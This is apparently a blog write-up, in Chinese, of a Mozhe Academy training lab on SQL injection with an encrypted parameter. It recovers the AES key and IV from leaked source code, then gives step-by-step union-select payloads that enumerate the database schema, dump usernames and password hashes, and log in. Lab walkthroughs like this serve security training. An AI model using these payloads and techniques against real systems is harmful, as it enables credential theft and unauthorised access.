墨者学院 - SQL注入漏洞测试(参数加密)

list.php

御剑扫描得到   http://219.153.49.228:48291/news/list.zip

解压得到源码

墨者学院 - SQL注入漏洞测试(参数加密)_第1张图片
从decode方法可知:AES的数据块长度为128位,密钥为ydhaqPQnexoaDuW3,偏移量为2018201920202021,填充为zeropadding

第八行 :判断网页id后面的查询字符串值,先两次base64解密,再AES解密,删除_mozhe字符,得到需要的id

第十一行;判断字符串是否有 “_mozhe”


反之逆序构造payload,先将注入字符串末尾添加_mozhe字符,然后AES加密

因为AES加密默认已进行了一次base64加密,所以aes加密后再进行一次base64加密即可
(((密文)base64解密)base64解密)AES解密+'_mozhe'=id
((id+“_mozhe”)AES加密)base64加密 = 密文


注入
找显示位置
1 and 1=2 union select 1,2,3,4_mozhe
得出2为标题,3为内容

找数据库名
1 and 1=2 union select 1,database(),version(),4_mozhe
得出数据库mozhe_Discuz_StormGroup

找表名
1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1_mozhe
得出第一个表:StormGroup_member
后面还会找到notice表,但是没有用

找字段名
一般name,password,status字段在第二个字段以后
1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 1,1_mozhe
得到第二个字段为name
第三个字段为password
第四个字段为status

找用户名、密码和状态
1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1_mozhe
得到第一个用户名,密码,状态

1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1_mozhe

得到第二个用户名,密码,状态

或者

1 and 1=2 UNION SELECT 1,2,group_concat(name,password),4 from StormGroup_member _mozhe

显示所有用户名密码

 

墨者学院 - SQL注入漏洞测试(参数加密)_第2张图片
按照惯例,md5解码,获得真密码

登录

Done

 

https://blog.zhengxianjun.com/online-tool/crypto/aes/

墨者学院 - SQL注入漏洞测试(参数加密)_第3张图片

https://www.sojson.com/base64.html

墨者学院 - SQL注入漏洞测试(参数加密)_第4张图片

 

 

你可能感兴趣的:(Mozhe,sql,web)